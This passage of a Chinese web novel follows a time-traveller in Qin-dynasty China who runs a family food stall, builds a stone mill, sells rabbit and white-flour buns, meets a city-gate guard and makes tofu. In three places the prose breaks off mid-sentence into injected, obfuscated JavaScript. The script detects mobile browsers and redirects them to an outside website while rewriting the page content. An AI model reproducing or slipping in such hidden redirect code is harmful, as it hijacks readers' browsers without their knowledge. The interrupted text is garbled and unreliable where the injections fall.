李卉有些不好意思地看向阿嫂，对方却是十分通透：“饿了就快吃。” 意思是，一家人还讲究什么，她还巴不得卉娘多吃一点呢。 李卉便真的不再客气，端起碗就吃。 边吃还边和阿嫂唠起家常来：“怎么不见阿娘？” 她往日在自己房中的绣架上，早就听出来她纺纱走线的动静了。 “有两亩豌豆地要锄草施肥，阿爹忙不过来，阿娘和阿桁一早就去地里了。” 说起大哥的名字时，李卉见阿嫂一脸闪躲和娇羞，便知两人感情很好。她便下意识朝阿嫂的小腹看了看。这些日子她也听过阿娘和阿嫂的念叨，说不定过些日子家里边便要添丁进口啦！到时候可要比现在更忙呢！ 这样想着，她的筷子扒拉得更快了，她也想去帮忙。嘴上还故意说为何不早点叫她，她也是家里的一份子，在农忙时理应出力。 “你年岁比我们小，正是贪睡的时候，反正今日不逢集，就多睡会儿嘛！” 李卉哪里肯依，赶紧吃完就要出门，不多时便在田埂尽头看到了爹娘和大哥。 时下正值繁忙的春耕，二月初种下的豌豆苗，现在正长势旺盛，当然田间地头疯长的不止有庄稼，还有那些杂草也见天儿地蹭蹭长，搞得农人们顾得上这头，又顾不上那头，只好全家齐上阵，好歹锄草锄得勤，再等上一个多月，还是能吃得上鲜嫩的豌豆的。 还有豌豆苗现在也可以吃呢，李卉记起前世时，每到豌豆苗上市的新鲜时节，饭店里的豌豆苗都供不应求，现在到了大秦，自家就有二亩地，咋说今年的这道菜都不会缺了。 于是，她弯腰拔了一会儿草，便打上了豌豆苗的主意。 “阿爹，我掐一把豌豆尖回去做汤饼吃可好？” 她甚至还想好了，豌豆苗还可以剁碎了加在肉夹蒸饼里，解腻又爽口，买的人一准儿多。 “行啊”，阿爹笑着看向他的小女儿，“想吃多少随便摘。” 李卉感动极了，“多谢阿爹，回头卖了钱，我再多多给您们分哈。” 阿爹摆摆手，用一种农人的质朴眼神看向她：“你要把豌豆苗拿去卖？” 意思是有人买吗？现在这个时节，随便走到哪里掐一把都是豌豆苗啊！ 李卉却对自己的手艺很有信心。不过她还没有做成之前，就先告诉自己不要声张了，闷声干大事才会有惊人之举呢！ 她在地里真的摘了一背篓的豌豆苗，还是大哥帮她一路背回家的。 他们一家人从地里回来，却发现自家门口站的有个人的影子，被日头拉得老长。 是一个官差，过来通知大哥五日后去泸县的军营里服役。 他一一核对了大哥的籍贯，住址，身高和家庭有无特殊情况，等大哥按了红手印后，就留下一两句例行嘱咐的话，便起身上马，扬长而去。 秦人以好耕战为名，这是李卉学了这么多年秦汉断代史，从一开始时导师便告诉她的。彼时她在书上看到时，也觉得颇为热血。但如今身在大秦，自己的阿兄要去军营，眼见他对即将到来的战功和几十担米粮的俸禄充满了期待，自己心中却担心起他的安危来。 眼神再一扫到阿嫂，她几乎是强忍着泪水，都要哭出来。 可……大秦男儿，又怎会困于一方田地？ 他们真正向往的地方，是旌旗猎猎的沙场。 更甚者，若家中妻儿有阻止之意，重则革职永不录用，轻则罚俸打板子呢！ 于是，就算再有不舍，家人也都强忍着，然后给他们收拾行装，拿上盘缠，送他们出征，并期待他们全须全尾地回来就好。 秦朝的军队补给还没有历史上其他朝代的完备完善，所以很多军士们时常都会从前线写信回家，让家人出钱给置办四季衣裳呢。 “嗨呀，都垂头丧气干啥嘛，这还有三四天在家的日子呢”，等那官差走了，大哥才仔细去辨认竹简上的字。 “是让我去泸县帮忙春耕呢！”大哥看他们都不相信，又认真看了一遍，最终才又大声地确认一遍。 对于事情风向的这个转变，李卉内心倒是没有什么太大的波澜，扭过头去看爹娘和阿嫂，他们脸上的如释重负也让她跟着松了一口气：“这下好了，这下好了！” “是的，是的”，阿娘喃喃道，“可有说归期？” 然后说完又下意识看了眼阿嫂，才知道这句话应该阿嫂来问，她便有些讪讪地道，“阿眉，你往前站点嘛。” “按说春耕的话，应该就是泸县的春耕忙不完了，所以才各县要人吧？”李卉见状忙出言岔开话题，“那咱们是不是又可以多得二三十斤肉啦！” 她心里的算盘珠子已经拨拉开了，大哥去应这样的征，不仅没有生命危险，还会再额外挣些米面粮肉回来呢！到时候她怎么也能分上一些，肉夹蒸饼原材料——卤肉又可以节约些，还能再小小赚上一笔，多么划得来的事啊！ 大哥只说竹简上说按理是四月归来，但说不定到时候还要处理些杂事再耽搁两天，五月初回来也是有可能的。 但这显然都不是他们一家目前最关心的问题了，进了家门后，又各自再自己的小屋里收拾了一番，精神一放松，便想着每日最重要的两餐来。 她和阿娘都在后厨忙了好一阵，才见大嫂姗姗来迟。 李卉本来想问她为什么，但一见她脸上尚有余韵，便乖乖地闭了嘴。 依着她前世的年龄，也算是“没吃过猪肉但见过猪跑”的人，但在大秦，她才十二岁，所以她就算懂了，也不能多问。 显然阿娘也注意到了，却碍于她在场，只含糊着说：“阿眉，快来搭把手，把这鸡肉给我剁成小块。” 这是上一次大哥和阿爹去西山打猎时在他们设置的陷阱中捡到的一只受伤的鸡。 当时翅膀都耷拉着，毛也没剩几根，李卉看它怪可怜的，就想把它当家禽来养。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15224459|165232||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>可如今大哥有了差事，那就把它宰了来做道好菜。 “加上从山里捡的菌子，我们炖一锅山鸡菌羹，等煮熟了，再把它淋在饭上。” 说实话，李卉到了大秦之后，最难的就是转变话语系统，比如之前要把鸡肉盖浇饭叫做鸡肉烧汁麦饭；今儿她说的山鸡菌羹，其实就是野山鸡菌汤锅。 当大家看到她又用木勺舀起汤羹往麦饭上淋，大哥便说怎么好像什么都能往饭上淋，李卉就笑，“对啊，饭浇上汤汁，就更入味，菜和饭就能和在一起吃嘛。” 前世她年底加班或没时间吃饭的时候，就经常菜饭一锅乱炖，既有营养，味道也不差，所以那样高强度的学术生活，都没能让她面黄肌瘦。 一顿饭吃完，李卉主动说要去洗碗。 因为大哥几日后就要离家，她想多留些时间让大哥和家人团聚。 反正她是家中最小的一个，怎么着都来日方长。 “那就谢了哦卉妹”，大哥松了松筋骨，和阿爹阿娘聊了几句，就哈欠连天。 等李卉洗了碗出来，就只见只有爹娘在院中喝茶聊天等她。 豁哟，李卉心中轻笑，她倒是没看出来，大哥大嫂竟是这样如胶似漆？ 她的小侄儿或小侄女儿不会就要在这个时候出来吧？ 等她洗完了碗再到堂上见爹娘时，只见他们二老有一瞬间的愣神，李卉恶趣味地想，“他们会和我想的是一样的吗？” 这个念头一闪而过，觉得还是不要开老人家玩笑的好。 于是便指着桌上没有吃完的那半盆儿麦饭道，“阿爹阿娘，咱家麦子还有多少？” 在秦朝，灰面不是普及性最强的。 但李卉想着让生意再出点花样，用麦子去磨些灰面，也未尝不可嘛。 毕竟每个朝代，达官贵人其实也和黎民百姓一样，同样如过江之卿，只是寻常人家接触不到而已。 但是如果经商，一步步稳扎稳打，说不定倒是可以攒点钱，往前挤一挤。 至少混个“大秦暴发户”的名头，也行啊。 想到这，李卉情不自禁地笑了。 才卖了两次大集的肉夹蒸饼，竟然就想着一夜暴富，虽说现在是夜里，正好洗洗睡了，痴人正适合说梦呢！ “麦子金贵，卉娘是想拿来做什么？” 阿爹先是谨慎地问，而后听了她要用麦子磨些灰面，做白面肉夹馍来卖的想法，倒是有些犹豫，怕成本不低定价太贵，没有人来买。 但阿娘却比他大胆多了，就鼓励她去试一试。 李卉看着她俩，再次坚信女性一定要自己长见识，见世面，她的阿娘不过是多与布庄等打了些交道，说话做事就比阿爹更加杀伐果决。 征得二老的同意后，如何把麦粉磨成灰面，又成为一个摆在她眼前的难题。 她想到要做一个石磨，但苦于石磨也没有普及，估计找石匠定制一个会很贵。 “明儿让你大哥试试，说不定能成。” 李卉想，莫非大秦军士啥都能做出来？就跟前世的十项全能似的？ 不管如何，阿娘倒是提供了一个思路 ，明儿找大哥一问便知。 说完，阿娘又和阿爹商量，趁着大哥在家这几天，多往西山跑两趟，不仅打兔子，也打一些山雀回来做酱，“阿桁最爱吃这个，咱们多做点给他带上。” 不然省得两三月都吃不到一点家里的味道，想想都觉得可怜得慌。 11.磨出面粉 翌日，等大哥大嫂起来与他们一同用过朝食，卉娘便问他能不能给她做个石磨。 “你画个草图出来，我或许可以试一下。” 大哥自说这几年从军，在军中什么任务都做过，所以只要工匠们能拿出图纸，基本上他们就能做出个大概来。 李卉原本不怎么抱希望的，结果听大哥这样一说，赶紧跑回房中。 不多时便画出了一张，上头是跟前世她所见过的石磨差不多的图案—— 底下一个高度适中的石墩子，上头托着个磨盘，磨盘中间是一上一下两块石头，最上面一块的石头上有一个小孔，旁边再留出往外延伸出去一个长长的手柄。 “也就是说，一个人推动手柄，另一个人往小孔里灌麦子，就能磨成细粉？” 大哥只看了一小会儿，便指出了石磨的工作原理，这让李卉再次感叹秦军连普通军士都有如此高的素质，秦始皇不完成天下大一统简直就是天理难容啊！ “对对对”，李卉一秒变成马屁精，“大哥你怎么这么厉害，什么都会！” “咳咳，也没有”，大哥听了她的恭维马上用两声咳嗽掩过，再说出的话却比刚才多了几分骄傲，“这个倒也没那么难，今天我要先去趟西山，回来时就顺路去趟西山脚下的采石场，我去买两三块石头回来……” 这倒是李卉没想到的，原来石头也是要靠买的。她赶忙进自己屋里拿钱，可大哥大嫂说什么也不肯要，说自己一年能安生待在家中的时日没有几个月，全家都是靠小妹和媳妇尽孝，他一个大丈夫，出点钱也是应该的。 而李卉也有自己的坚持，于是最后两家各出一半，一方石头三十钱，她和大哥大嫂各出了十五钱。 “小妹你也真是的，都说了大哥来，你还跟我抢。” 大哥这样说的时候，大嫂也在跟前点头。 最后为了表示对家中生意的重视，大哥还让大嫂，在他离家这段时日从小家先搬过来。这样不仅家里能帮衬，最要紧的是小吃摊那边，还是两人作伴最好。 万一遇到什么，也还能有个帮衬。 接下来的两天，时间在全家人的忙碌中过得飞快。 地里的庄稼不能没人弄，好在之前豌豆地里的草除得差不多，阿爹一人足矣； 大哥去西山跑了一趟，这回专门是搂草打兔子，因为目标专一，所以收获颇丰； 再回来时跟着采石场的一个小伙计，推了个独轮车，手脚麻利地把石块卸下来； 仁和布庄又跟阿娘下了一笔订单，要她在十日之内织完，所以她又钻进了绣房； 而李卉和阿嫂的主线任务则是第三次市集。 她趁热打铁，把全部打回来的五只兔子留了两只，其余的三只兔子都按兔腿、兔头和兔丁都分门别类弄好，兔腿用酱料码了腌好，挂在廊下准备做风干兔腿；兔头则放进卤肉釜中，做成卤味；做完这一切，她便把兔肉切丁，按照之前的做法做了满满一大盆冷吃兔。 “好，阿嫂，明日市集的菜品都备好了！” 李卉招呼正在灶前烧火取炭的阿嫂休息一下，因为她发现旁边的箩篼里的炭也足够明日的消耗了。阿嫂手却没有停下来，还说要再多做一点，以后万一有急事也能有些备用的。李卉一想，说也对，“但我现在饿了，一会儿阿爹也要回来了，我们去喊大哥和阿娘吃饭吧！” 没想到大哥的效率也高，一口石磨就花了一个下午的时间就做好了。 这天的暮食就是一人一碗冒尖的冷吃兔肉，再搭配点麦饭，个个吃得十分满足。 “阿卉现在不一样了，咱们家的日子也慢慢好了，几乎顿顿都能吃点肉了！” 阿嫂看着自己碗里的兔肉，发自内心地说。 李卉想，这话说的她怪不好意思的，谁让原身从前躺平呢？ 不躺平的现代人，在建功立业的大秦，自然是有一番用处的。 当人人都不那么卷的时候，她只需要稍稍卷一下，就能过上很好的日子啦。 “阿嫂谬赞了，其实我也很担心，冷吃兔肉是新的，就怕没有人买呢！” 这句话说得也很真诚。 但全家人都不觉得这是一个难事，因为只要吃过，就会知道有多好吃。 现下是三月，天也黑得晚了些。 所以她吃过暮食，便又想试着磨一些麦粉，“再蒸一些白面馍馍出来。” 反正工具也有，正好试试顺手与否。 她问阿娘从仓房里端来一盆麦子，依旧是和阿嫂打配合。 趁着大哥和阿爹这会儿都有空，他们帮着推磨盘，这样也能省些力气。 李卉用木勺舀了一勺干燥到硌手的麦粒，放进小孔后，大哥一人便推着磨盘转了起来。大哥做好后李卉才发现，这个手柄做得并不是特别长： “这回要得急，我又即刻便要走，而且家里又没有个骡子或马，到时候我跟爹说，往后你要磨面粉，就让他来帮你。 李卉还沉浸在新工具滤镜中，她觉得大哥能做出来就不错了，至于局限什么的，以后再改也是一样嘛。 “行，等我以后赚了钱，就再买骡子买马，再专门开个磨坊，这样就不愁了！” 难得的是，闻言赶来帮忙的阿爹，还有从绣房里出来围观的阿娘，都没有说她口气大，而是都和大哥大嫂一般用十分信赖的目光看着她，好像在未来她的话一定能成真。这样一来李卉自己反倒不好意思，“我还是踏踏实实把面粉磨出来吧。” 随着阿爹转动磨盘的频率，两片石块中间便或慢或快地溢出一些粉末出来。 颜色似白非白，却有些灰扑扑的，倒很是细腻，李卉用手一摸，正是前世所说的面粉无疑。 只是，太金贵了，她怕暮间晚风一阵吹，那灰面便要四处飘散。她把手里的木勺递给阿嫂，示意她接着往里加麦粒，自己则跑进阿娘的绣房，从阿娘织废的麻布料里，扯了一块来，围在石磨周围；最后才把已经磨好的灰面往陶盆里扫。 全家齐上阵，一小盆约莫五斤的麦粒很快就磨完了，最后的灰面净重，李卉掂了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15230404|165232||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掂盆，大概三斤左右。 这时候天已经完全黑了，阿娘怕她熬坏眼睛，便给她剪了一截灯芯草，浸在灯油里，后厨便不是伸手不见五指的黑了。 可李卉知道，要在这样的照明条件下揉面蒸馍，简直是要做好瞎眼的准备。 所以从前的书中说到古时候的人们是“日出而作，日落而息”，除了穷买不起灯油外，还有一个原因就是就算点起油灯也还是只能照亮一隅，所以只好早早睡觉。 于是她打定主意第二天早一点起来做，做好了就背到市集上去卖，也更新鲜。 朝食随便吃了碗汤饼，就把烧炭炉子，一筐子炭火，蒸好的蒸饼和白面馍馍，还有一釜卤肉并五斤冷吃兔肉，收拾妥当，幸好大哥提出要护送他们，不然就凭她和阿嫂两个人，简直是不好办。就算这样，她们三个人还是肩挑背扛，等他们都做好营业准备时，都过了半个时辰啦！ “快来买呀，冷吃兔肉，白面馍馍，还有加肉加菜的蒸饼喽！” 市集上已经很热闹了，旁边的摊主们也都扯开嗓子叫卖吆喝，李卉和阿嫂也对视一眼，也开始叫卖起来。 大哥倒是实诚，做好幕后工作——埋头烧炭加炭也一点都不含糊。 因为旁边就是梁记粥铺，她也有心与之修好，便心一横，将两个新鲜的白面馍馍作为谢礼拿给了粥铺的老板。 “梁老板，是这样，这是我们小吃摊最近做出来的新品，您给品鉴一下。” 那人倒是很面善，接过来一闻，马上就说，“好香！” 嘴上道着多谢，却又追问道：“白面金贵着呢，小娘子这馍不便宜吧？” “也还好，因为第一次做了卖，所以就是七钱一个。” 这话的意思是往后可能要涨价，可她为何要白送呢？梁老板便等着她说后面的话：“是这样，梁老板，您也看到了，每次逢集我们都要往家搬来搬去太多东西，所以我想能不能向您说一个不情之请？” “就是往后只要我在您家粥铺旁边摆摊一日，我便给您拿两个白面馍馍，就当是我把烧炭炉子存放在您这的租金可好？” 不然每次都往回搬，两个女流之辈，太为难她们了！ 只见那梁老板沉吟了半晌，最后说了一个“好”字。 李卉知道他必定是会答应的，因为现在的行情就是，去修长城的劳工都八钱一天，她给的这个价格不低了，还只是放个炉子。 所以当她回到小吃摊前，回答完大哥大嫂的问话后，他们都有点觉得亏了，说不如把卤肉汤汁也一并放在粥铺里，可旋即又想，那卤肉汤汁放着更不放心，保不准有什么秘方，万一偷师过去，反而断了自家生意呢 ！ “是啊，大哥大嫂”，李卉其实对这些倒是看得很开，因为她本身来到大秦，就是像有些穿越文里写的那样，有前世的记忆就等于绑定了一定系统，做什么也都比当朝的人更容易一些，就是吃了“信息差”的红利嘛！ 可这些话她是断不能对任何一个人说起的，于是就只好附和着他们说喽！ 12.再次遇见 聊完这些后，李卉便给她和大哥大嫂分好了工。 大哥负责切卤肉浇汤汁卖肉夹蒸饼，大嫂便负责那一盆冷吃兔丁和三个卤兔头；而李卉嘛，就负责站在摊边吆喝，叫人前来试吃。 肉夹蒸饼是原先有的，所以不用再做试吃；于是她便把一个白面馍馍切了四分之一，切成了小丁儿摆在盘里；又把兔肉舀了两三勺放在同一个盘里，试吃盘便做好了。 “走过路过，不要错过，本摊新菜品：冷吃兔丁和白面馍馍，免费品尝，先到先得，先到先得哦！” 这样吆喝了四五遍，便有那些大秦的香香嘴们，陆续围拢在她旁边，眼睛则直勾勾地盯着那一盘能免费吃的美食。 李卉主动把盘往前伸出去，“都来尝尝，都来尝尝，真的免费！” 第一个人拿了一小块白面馍馍吃了，说“又细又软，果真好吃”； 第二个人拿了一小块兔肉吃了，说“从没这样做过兔肉，真的好吃”； 为了答谢这两个勇敢的人，李卉还特意破例让他们分别互相再拿一点方才没尝过的食物，再贴心地建议他们蘸上一点卤肉汤汁，味道更好。 那两人依言照做，吃完后眼睛都亮了，“风味一绝，风味一绝。” 李卉心中偷笑，要是给你免费吃，你还不说点好话，那就太说不过去了，何况我的食物本身就很好吃！ 于是这两人最后也多不好意思的，连吃带拿，果真各自称了半斤兔肉，买了买了一个白面肉夹馍。 首战告捷，气势大增！李卉吆喝得更加卖力了。 当然这期间也有来尝了，却最后只掏钱买了蒸饼的，也有尝了什么都没买的，她也给予充分的尊重，等人走了就安慰大哥大嫂道：“反正咱们也不缺这点嘛！而且咱们做生意讲的是长久人情，今日不买，不代表以后不买嘛！” “天啊卉妹，从前我真的觉得你什么都不懂；怎么病了一场后感觉你什么都懂了！”大哥揉着切肉的胳膊，憨厚写满了他的脸。 “哈哈哈！”李卉和阿嫂都晓得前仰后合。 “那你是喜欢现在的卉妹，还是从前的卉妹？”李卉计上心来，想将他一军。 “当然是……现在的。” 大哥的话还没说完，他胳膊上就挨了大嫂一拳，“傻子，你要说都喜欢！” 李卉笑得更厉害了，大嫂是真·端水大师啊！ 说笑归说笑，一有客人上门，大家都还是勤奋地一致对外。 但一个上午下来，卖得最好的依然是之前的肉夹蒸饼。五斤兔肉大概去了一两斤的样子；白面馍馍一共做了二十个，现在还剩下一半左右。兔头更是无人问津。 李卉倒是也不沮丧，因为这已经比她预想的好得太多了。 “市集还有半日呢！”她见阿嫂脸上有些难过，但又怕被看出来，于是这样宽慰。 “也是。”阿嫂定了定心神，忙问她，“饿了没？” 阿嫂这样的一问，倒是把她肚子里的馋虫勾了出来。 中午不吃点，只等着下午吃暮食的话，一定会饿得头晕眼花的。 “咱们一人来个白面肉夹馍吧，再来点兔肉，大哥大嫂要不我们再尝一个兔头？” 本来大哥大嫂一开始还有点心疼，因为这些都是拿出来卖的食材。 可还是李卉的一句话打消了他们内心的顾虑，“菜做出来卖给别人是吃，咱们自己也是吃嘛！而且他们看到我们自己都在吃，说明更放心，来买的人可能更多呢！” 果不其然，等他们吃了一会儿后，就陆续有好几个人朝他们的摊位走过来。 估计是看她吃什么吃得这样香，见虽然是兔肉却是他们从未吃过的做法，一个说来半斤，一个说来一斤……兔肉的销路就慢慢打开，总量消耗的也不快不慢，却是让人很可喜的钱慢慢进账。 李卉让大哥大嫂接着吃，她一个人应付得来，可阿嫂却说兔肉是她今日负责的，哪里有负责的人在一旁大吃特吃，而让李卉去奔忙？ 于是又是和阿嫂打配合，等一波客人走完，她俩背对着外头一起蛐蛐着数钱，脸上的笑容怎么都收不住，而这一切都被大哥尽收眼底： “嘘，低声些，这市集里有的是扒手和小偷呢！” 姑嫂俩这才闻声作罢，赶忙把一把钱藏进钱袋子里，放在背篓最底部，实在不放心，她还把背篓往烧炭炉子跟前怼了怼，这才放心腾出手来去忙别的。 可能是白面粉实在有些贵，所以做出来的馍馍有些卖不动。 老半天过去了，之前剩下的十个馍才卖掉一个，还剩九个。 而更不用说那兔头了，李卉感觉大秦的老百姓们好像还是不大能够很快地接受新鲜事物，正当她心底盘算下一场还是少做点白面馍馍时，却听头顶传来一道声音：“老板，给我来五个白面肉夹馍！” “好嘞，是要肥瘦相间的还是纯瘦还是纯素菜的？” 她习惯性地边弄边抬头，却发现来人穿着城门守卫的服饰，而那面孔更是有几分相熟。她盯着他看，他亦盯着她，好一会儿，李卉才想起那日城门初见，和来买蒸饼的第二次见面，以及他那句友好的疏离。 “是你！”李卉有点惊喜，当即喊出了声，“你怎么有空过来了？” 意思是，你穿着执勤服，应当还在当值，怎么会有空过来买东西吃？ “今日我是替班，所以我可以早些下值，我阿娘很喜欢吃你这儿的加肉蒸饼，我想着今日早些，便过来碰碰运气……” 惊喜过后，她便赶紧示意大哥走开，她来亲自上阵。 因为这位城门守卫，可是她来到大秦以后，认识的第一位有些身份的人。 她当然要亲力亲为，来维系好这层关系。 至少从现在到未来的很长一段时间，长宁街市集的西南角会是她的长期据点。 而就如前世所说的那样，“强龙压不过地头蛇”，还有“县官都不如现管”呢！ 那人虽然身着守卫执勤服，但说话却很是平易近人，“来两个纯瘦肉的，两个肥瘦相间的，剩下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15238142|165232||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个就来纯素的吧，我带回去给我阿娘……哦对了，再给我来五个蒸饼，阿娘回去自己放灶上，她也想自己做一些菜来夹着吃！” 提起阿娘时，他的语气都变得温和从容很多。 嗯，还是个孝子，人品端方，这个人就更值得结交啦！ 上次就没机会问到他姓甚名谁，今日大哥大嫂都在，所以就算有心之人日后听去，那也有做证之人。 五个白面肉夹馍做好，递给他的一瞬间，她道了声，“公子请拿好。” “我是幸”，他说，“肉夹蒸饼很好吃，没想到这么快又出了新的，真了不起！” “多谢公子幸。”李卉朝他行了个礼，十分郑重地谢了他的这句夸赞。 然后她心又一横，将那两个无人问津的兔头一并送了出去，“若公子幸不嫌弃，将它们拿回去下酒吧。味道很好的。” “我……不喝酒”，公子幸道，“不过我可以给你提个小小的意见吗？” “公子请讲。” “兔头的话，如果做成和兔肉一样的辛辣味，可能会更好卖。” 李卉一开始还没想明白，但经他这样一提醒，倒也想通了—— 因为一般买来下酒吃的都是可能下苦力或者干重活的，他们需要重油重辣佐酒入喉更有味道，五香的只适合闺阁小姐吃点闺阁零嘴，也可以做，但就是要少一点，到市场上来卖的，还是以重口味的为主呢。 出来采买的，多是家中仆妇，他们对于五香类的反倒没有那么有胃口。 “阿卉明白了”，她道，“多谢公子幸。” 等公子幸提着五个白面肉夹馍和两个兔头走了，大哥才敢凑上前来： “你何时与城门官兵如此熟络？” 听李卉和阿嫂与他讲了初次到市集时的情形，大哥也深以为然： “这位公子着实值得结交，我原以为我后日走了，你们会孤立无援，而现下看来，你们迟早会在长宁街名声大噪的！” 那守卫提走的五个肉夹馍，来日不定会带来多少不止五个的收益呢！ 而且自古民便怕官，有了这层关系，那些地痞流氓便也要掂量掂量了！ 不过大哥还是很尽心地在余下两日内又去了一趟西山，这回的猎物虽没有上次的多，但应付下一次的市集还是够了。 两天很快便过去，这回大哥当真是一步三回头地出门了，李卉看着他的背影，又看了看大嫂期期艾艾的目光和眼神，想到了一句诗，“无数征人尽望乡”。 大哥的行囊里背的都是她晾晒的风干兔，还有几瓶新做的山雀酱，并有十来个白面馍馍，她的理由是，“给自己至亲准备点好吃的，还是吃得起。” 她方才一度不想让场面过于煽情，便跟大哥许下了一个约定： “等你回来时，便是夏日了，到时候荷花也开了，我给你做荷叶鸡吃。” 前世饭店里所谓的“荷叶鸡”，她敢说都没有大秦的原生态，做出来也一定好吃。 “好，一言为定。” 13.石磨豆腐 大哥刚走的没几天，家中还觉得冷清。 但时间一久，转眼便到了三月底。气温回升了，天气转暖了，家里也就没有一开始那般冷清了。 因为有了公子幸的带动，来小吃摊前买冷吃兔肉和兔头的人，渐渐也多了起来。 当然更重要的是，小吃摊慢慢地走上了正轨，有时候会忙得没有空去想念在泸县的大哥。 大哥不在的日子里，上西山打猎的重任便落在了阿爹身上。他是比大哥更有经验的老猎人，回回都不会空手而归。所以小吃摊上的兔肉就没有间断过。 当然，卉娘也不是一门心思钻营钱财的人。 她会跟之前一样，把品相好的、肉多体壮的兔子整个都腌好，挂在廊下，“咱们自己这么辛苦，想吃的时候就随时拿。” 本来赚钱就是为了生活更好一点，及时享受的快乐是无可取代的，她很高兴能够通过自己的劳动让家里人都更加高兴嘛。 不仅如此，那些被刮下来的兔毛和兔皮，她也都一一攒着。 市集上有专门收这些的，她几次三番地总去，那皮货行的老板也渐渐和她成了熟识。因为她处理得干净，皮货的质量也要更好一些，所以便偷偷给她涨了一钱的价格。回来跟爹娘和阿嫂一说，他们便都一致认为，她应该把这一钱的差价折成现钱，收进她的小金库。 “这个小吃摊本来也是你的功劳居多，再不要推辞，赶紧拿着吧。” 阿爹难得发表自己的看法。李卉觉得这样也好，反正自己的辛苦也被大家看见了，从今往后就全心全意为家里想辙挣钱就是啦。 她们这个大家挣得越多，每个人拿到的钱就越多，她自己就更有钱嘛！ 这不，她又开始琢磨，要用石磨来做石墨豆腐卖啦！ “大家到市集上，肯定就是想吃点平时不常吃的，买点平时舍不得买的嘛！” 当阿嫂问她，若是没有人来买怎么办的时候，李卉就这样回答她。 相反，如果一个小吃摊上一直只卖那几样，除非是特别专业的老字号，食客们是不太买账的。要不然前世的那些探店博主和店家之间，就没什么合作空间啦！ 中国历来有句古话，“酒香也怕巷子深”；而李卉则觉得，这在摆摊之初，还得靠推陈出新才行。 按照史实考据派来说，历史上的大秦还没出现豆腐，最早的豆腐要在西汉时期的某个闲散王爷才会被偶然发明出来。 但谁让李卉是穿越过来的呢，这些自然就不是太难。 就是不知道在工具不够发达的大秦，能不能复刻出豆腐来。 还好大哥给做了个石磨，最大的工具难题就已经解决了大半。可就算是这样，对于在大秦一个小县城乡下的李卉来说，做石磨豆腐也还是个大工程。 新采摘的嫩豌豆不行，必须要用陈年的老黄豆。 但李卉也有心让阿爹把地里剩下的一些豌豆歇上一阵儿再摘，就能更好一点，就可以后面磨了豌豆粉做豌豆凉粉了。不过这都是后话，得先把石磨豆腐做出来。 黄豆不能直接上磨打粉，而要浸泡起码半日。 因为家中人少，为了推磨的时候省力，她把一盆十斤的黄豆足足泡了一日。 等第二天起个大早去看，三月桃花水，温度已经不低，手伸进盆中时，还有一种凉凉的感觉，却也不是很冷，这是她喜欢的。 尤其用手轻轻一捏那黄豆，豆子便软烂无比，李卉便更觉得高兴：“成了！” 豆子泡好了，第二步便是上磨。 这次不用阿爹帮忙，她和阿嫂就能完成。 黄豆粉加水磨好后，在石磨里摊了一滩，变成了黄豆糊糊。 这时候还不能歇着，要赶紧将阿娘给她的一块麻布做滤网，把糊糊过滤出来。 “阿嫂，快来，我们一起洗豆渣。” 话音刚落，李卉便将大概两斤的凉开水倒进黄豆糊糊的盆里，洗完后挤干水分，这样能做出来的豆腐就会尽量多一些。 “这是最大限度开源节流”，李卉想，“小本经营零帧起手，不得不精打细算啊。” “阿嫂，烧火。” 她把豆汁上头的浮沫撇去，还要站在釜前，拿着铲子一直搅拌，防止生锅。 大火煮开后，她还用勺子舀了点豆浆往鼻子边来闻，确定没了豆腥味，才让阿嫂慢慢转小火。而后便是一点一点地加盐卤，豆汁儿便慢慢沉淀成了豆花。 最后一步再把它们舀起来，放在木盒子里，用麻布兜着，上头放上一块重重的石块，一个时辰之后，豆腐便成型了。 十斤黄豆做了五斤豆腐，这个折损率其实还算可以接受。 但因为豆腐这种食物太新鲜了，到市集上就遇了冷。 “我们的豆腐定价比白馍馍还低呢，怎么没有人买呢？” 阿嫂的疑问，却并没有成为李卉的心结。 “大家接受新鲜事物，总要有个过程嘛！” 她这样宽慰着阿嫂，也这样宽解着自己。 因为谁也不愿意自己花了大力气来做的事情，最后得不到想要的效果嘛！ 于是，早在来市集的路上，她便想好了应对之策。 她把两小碟子豆腐从烤炉上端下来，昨儿又连夜做了个铁的烤盘，放在炉子上，就现烤起来。 “快来尝尝，快来看看咧，新出炉的烤豆腐呢，好吃又不贵哦！” 为了生存，前世是i人的她，来到大秦，不得不变成了i人。 那些人根本都没听过豆腐，不过因为品质用料良心，烤豆腐的椒香味，还有豆子的清香味，早已在市集的这个西南角散播开来。 终于在一刻钟后，在陆续围了五六个人看的同时，第一个掏钱买的人出现了。 “给我来一块尝尝”，那人道，“你这小娘子，想法还挺多，好像隔三差五就有新吃食呢！” 李卉一听便知道这人是个懂行的，说不定是这长宁街上吃遍了的人。 